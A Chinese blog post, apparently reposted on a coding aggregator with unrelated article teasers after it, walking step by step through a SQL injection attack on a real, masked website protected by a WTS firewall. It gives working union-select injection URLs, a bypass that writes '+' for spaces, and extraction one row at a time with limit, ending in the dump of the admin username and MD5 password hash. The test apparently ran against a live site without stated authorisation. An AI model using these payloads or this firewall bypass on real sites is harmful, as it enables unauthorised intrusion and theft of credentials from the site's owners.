实战绕过WTS-WAF的SQL注入

news2024/9/22 21:21:05

实战绕过WTS-WAF的SQL注入

  • 1.前言
  • 2.测试流程
    • 2.1.发现漏洞
      • 2.1.1.正常页面
      • 2.1.2.WAF警告
      • 2.1.3.非正常页面
    • 2.2.判断字段数
      • 2.2.1.非正常页面
      • 2.2.2.正常页面
    • 2.3.判断回显位
    • 2.4.信息收集
      • 2.4.1.数据库版本
      • 2.4.2.数据库名
    • 2.5.判断数据库表
      • 2.5.1.WAF告警
      • 2.5.2.获取表
      • 2.5.3.burp suite测试
      • 2.5.4.表名称
    • 2.6.判断数据库列
    • 2.7.获取数据
      • 2.7.1.账户
      • 2.7.2.密码
  • 3.总结

1.前言

  本人在做完测试了,所保留的信息均已删除且未保留,只是友好的测试,并非有意为之。若侵权请联系我进行删帖。

2.测试流程

2.1.发现漏洞

  这里发现漏洞也是通过URL来进行判断的,发现存在?id=22,那么就激情我的测试的兴趣了,但是and 1=2–+上来就给我干出了WAF,然后这里就需要考虑如何绕过WAF了。

2.1.1.正常页面

  这里可以看到页面是正常的。
在这里插入图片描述

2.1.2.WAF警告

  通过页面发现,被WAF警告了,同时也显示了该WAF为WTS,那么就简单了上网上找一下,WTS-WAF绕过方式。但是呢,之前也学过就没有立即去找相关的绕过方式,采用的是+号代替空格进行测试。
在这里插入图片描述

2.1.3.非正常页面

  这里也是很棒,竟然使用+号代替空格真能绕过,那么就可以继续向下测试了。
在这里插入图片描述

2.2.判断字段数

  前面我们通过+号替换空格绕过了,那么下面我们就要接着测试了。通过order by来测试字段数。这里截图为了方便,就直接截图下面的信息,上面的就不截图了。

2.2.1.非正常页面

  这里我们测试到order by 22–+的时候,出现报错了,那么就可以证明字段数为21。

URL:http://www.XXXXX.com/XXXX.php?id=22+order+by+22--+

在这里插入图片描述

2.2.2.正常页面

  这里我们输入21的时候页面正常了,只是和正常的页面还是有点区别。

URL:http://www.XXXXX.com/XXXXX.php?id=22+order+by+21--+

在这里插入图片描述

2.3.判断回显位

  到这里我们就需要判断回显位是哪里了。使用union select继续测试。
  这里通过测试回显位是7,那么就可以利用这个7来进行下面的测试。

URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+

在这里插入图片描述

2.4.信息收集

  这里我们主要收集数据库名,和数据库版本,通过页面出现的报错,也能够了解到,使用的是mysql数据库。

2.4.1.数据库版本

  这里我们得到的数据库版本是:5.7.37。

URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--+#

在这里插入图片描述

2.4.2.数据库名

  这里我们得到的数据库名是:ahshyydz。

URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--+#

在这里插入图片描述

2.5.判断数据库表

  既然我们获取到了数据库名以及版本,那么我们就可以使用mysql大于5.0版本中的特性来获取数据。

2.5.1.WAF告警

  本以为到这里能够成功过去的,结果又出现告警,后来通过查询文章以及手动测试发现是由于group_concat 和括号 () 在一起的时候才会触发拦截。那么没办法只有一个一个测试了。

URL:http://www.XXXXXXX.com/XXXXX.php?id=-22+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables+where+table_schema=%22ahshyydz%22--+

在这里插入图片描述

2.5.2.获取表

  这里我们就只能使用limit一个一个测试了,这里我们成功获取到第一个表,但是向后测试发现不止一个表,为了方便我们使用burp suite进行测试。

URL:http://www.XXXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+where+table_schema=%22ahshyydz%22+limit+0,1--+

在这里插入图片描述

2.5.3.burp suite测试

  这里我们使用软件自动加数字来进行爆破。
在这里插入图片描述

2.5.4.表名称

  这里我们通过测试得到了很多的表,为了避免信息泄露,这里我就挑选几个疑似账号密码的表来测试。

表名:admin_authority、admin_login、admininfo

在这里插入图片描述

2.6.判断数据库列

  到这里我们就要进行数据库的列进行判断了,之前我们得知使用group_concat会被检测,既然这样,那么我们还是一个一个测试。
  这里依旧使用我们的工具进行测试,这里就不演示过程了,直接上结果吧,这里我们获取到username与passwd表,其它的表我们不管。

URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.columns+where+table_name=%22admininfo%22+limit+0,1--+

在这里插入图片描述

2.7.获取数据

  这里我们就获取到表与列了,那么就可以进行数据获取了,而获取数据的办法同样是这样操作。

2.7.1.账户

  这里由于显示位只有一个就先测试账户吧,这里结果测试只有一个admin账户。

URL:http://www.XXXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from%20admininfo+limit+0,1--+

在这里插入图片描述

2.7.2.密码

  这里账户就一个,那么密码应该也就是一个,这里我们只测试一个吧,并且这个密码还是md5加密,这里我们找个平台进行解密即可。

URL:http://www.XXX.com/XXXX.php?id=-22+union+select+1,2,3,4,5,6,passwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from%20admininfo+limit+0,1--+

在这里插入图片描述

3.总结

  其实这个网站主要的困难就是需要绕WAF,通常想这类的WAF在百度搜一搜都会有相关的绕过方式的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/341484.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

龙曲良 Tensorflow —— tensorflow高级操作(自用)

目录 一、合并与分割 1.1 tf.concat (合并) 1.2 tf.stack (增加新维度) 1.3 tf.unstack (一个一个拆分) 1.4 tf.split (均分拆分) 二、数据统计 2.1 tf.norm(默认二范数) 2…

WebRTC(一):三种架构和基本原理

文章目录一、三种架构二、为什么SFU最为常用?一、三种架构 webrtc大致可以分为三种架构: MESH mesh架构需要所有参与连接的peer简历和所有其他peer的媒体的连接,如图一。 该架构需要n-1个上下行,以此带来的带宽消耗&#xff08…

家政服务小程序实战教程02-创建模型应用

我们在上一篇中介绍了数据源的设计及创建方法,本篇我们就根据我们创建好的数据源来设计功能。 按我们的需求分析,系统管理员来审核数据,要想审核数据需要给管理员提供一个管理后台。微搭中的管理后台是通过模型应用来解决的。 登录控制台&a…

我用python/C++调用ChatGPT自制了一个聊天机器人

目录1 ChatGPT完整版2 Python/C调用ChatGPT2.1 获取API秘钥2.2 测试API功能2.3 设计简单UI3 聊天问答1 ChatGPT完整版 2015年,OpenAI由马斯克、美国创业孵化器Y Combinator总裁阿尔特曼、全球在线支付平台PayPal联合创始人彼得蒂尔等硅谷科技大亨创立,公…

chatGPT都可以干什么呢?来一睹风采 (送账号)

文章目录1. 写代码2. 写文案3. 写剧本4. 写歌诗5. 写报告6. 查公式7. 写对联8. 写文章9. 做表格10. 做计划11. 等等1. 写代码 2. 写文案 3. 写剧本 4. 写歌诗 5. 写报告 这妥妥的翻译文,数据完全不对。 6. 查公式 傅里叶变换的时域性质有如下几点: 对…

JAVA集合专题4 —— Map

目录Map接口实现类的特点Map接口的常见方法Map六大遍历方式Map练习1code编程练习2code编程练习3思路codeMap接口实现类的特点 Map与Collection并列存在,是Map集合体系的顶级接口Map的有些子实现存储数据是有序的(LinkedHashMap),有些子实现存储数据是无…

【量化交易】 量化因子 动量类因子

量化因子 - 风险类因子计算 5日乖离率 BIAS5 (收盘价-收盘价的N日简单平均)/ 收盘价的N日简单平均*100,在此n取5 60日变动速率(Price Rate of Change) ROC60 ①AX今天的收盘价—20天前的收盘价 ②BX60天前的收盘价 ③…

React-Router

版本5安装:npmnpm install react-router-dom5 -Syarnyarn add react-router-dom5import ReactDOM from "react-dom/client";// react router适用于web和原生项目,我们在web项目中使用,所以需要引入的包是react-router-dom import {…

Idea 安装 Sonar 插件提升代码质量

目录 0. 环境说明 1. Sonar 简介 2. IDEA 配置 Sonar 0. 环境说明 Java 1.8IDEA 2022.3.1SonarLint 7.4.0 1. Sonar 简介 在多人协通的软件开发过程中,代码风格和代码质量对于软件的整体交付是十分关键的。这时我们可以利用 Sonar 插件,对代码进行扫描…

Spring MVC注解Controller源码流程解析--HandlerAdapter执行流程--上

Spring MVC注解Controller源码流程解析--HandlerAdapter执行流程--上引言RequestMappingHandlerAdapter方法参数解析器方法参数名解析器类型转换体系简单的使用演示数据绑定器工厂定制化修改DataBinder获取泛型参数ControllerAdvice与InitBinder注解控制器方法执行流程Controll…

C语言(可变参数:stdarg.h)

目录 一.使用可变参数 1.提供一个使用省略号的函数原型 2.在函数定义中创建一个va_list类型的变量 3.用宏把该变量初始化为一个参数列表 4.用宏访问参数列表 5.使用宏完成清理工作 二.va_copy 三.实例 一.使用可变参数 该头文件提供类似接受可变数量参数的宏&#xf…

【招聘】永善县正向社会工作服务中心招聘2名工作人员

永善县正向社会工作服务中心面向社会公开招聘2名工作人员 永善县正向社会工作服务中心是2019年9月在永善县民政局注册登记成立的民办非企业单位。业务范围主要为:面向社会提供各类专业社工服务,开展活动策划、个案援助等社会服务项目;承接个人…

基于WEB的小型公司人事管理系统设计

技术:Java、JSP等摘要:随着当代各类企业公司员工数量越来越多、分工越来越细化、各行各业之间的联系越发密切,对人事管理的要求也不断提高。实现企业人事管理计算机化,毫无疑问会让企业的人事管理变得更加高效化和智能化。企业要生…

c/c++开发,无可避免的函数参数实践

一、函数参数表 函数由函数名以及一组操作数类型唯一地表示。函数的操作数,也即形参,在一对圆括号中声明,形参与形参之间以逗号分隔。每一个函数都有一个相关联的返回类型。 int setval(int val) {//函数体 }; 这里,定义了一个名…

Vulkan教程(14): Graphics pipeline之Fixed functions(固定管线功能)

Vulkan官方英文原文:https://vulkan-tutorial.com/Drawing_a_triangle/Graphics_pipeline_basics/Fixed_functions对应的Vulkan技术规格说明书版本: Vulkan 1.3.2The older graphics APIs provided default state for most of the stages of the graphic…

个人如何获得免费的VMware Fusion Player?在macOS上虚拟化系统

不管是开发还是测试,有时候都需要虚拟机。比如虚拟化一台Linux,部署Web服务进行服务器仿真操作。亦或者,macOS上虚拟化Windows,进行Windows环境模拟。 VMware这家公司,大家应该都比较熟悉。旗下的VMware Workstation在…

LabVIEW NI网络设备在MAX中不显示或未识别

LabVIEW NI网络设备在MAX中不显示或未识别有一个NI设备通过网络连接到主机。发生以下情况之一:尝试在Measurement&AutomationExplorer(MAX)中配置设备。设备未显示在“远程系统”下。NIMAX中未检测到CompactRIO(cRIO&a…

2D图像处理:2D Shape_Base_Matching_缩放_旋转_ICP_显示ROI

文章目录 调试结果参考调试说明问题0:并行运行问题问题1:模板+Mask大小问题问题2:组合缩放和旋转问题3:可以直接将计算边缘的代码删除问题4:如何在原始图像上显示匹配到的ROI问题5:计算的原始旋转角度不需要判断,直接可以在ICP中使用问题6:绘制坐标轴问题7:绘制ROI调试…

图像优化篇

目录(1)矢量图(2)位图 2.1 分辨率2,图像格式格式选择建议:(1)矢量图 被定义为一个对象,包括颜色,大小,形状,以及屏幕位置等属性&…

Netty实现Http服务器案例

功能:Netty服务器在6668端口监听,浏览器发出请求"http://localhost:6668"服务器可以恢复消息给浏览器:“hello,我是服务器”,并对特定请求资源进行过滤目的:Netty可以做服务器端开发,…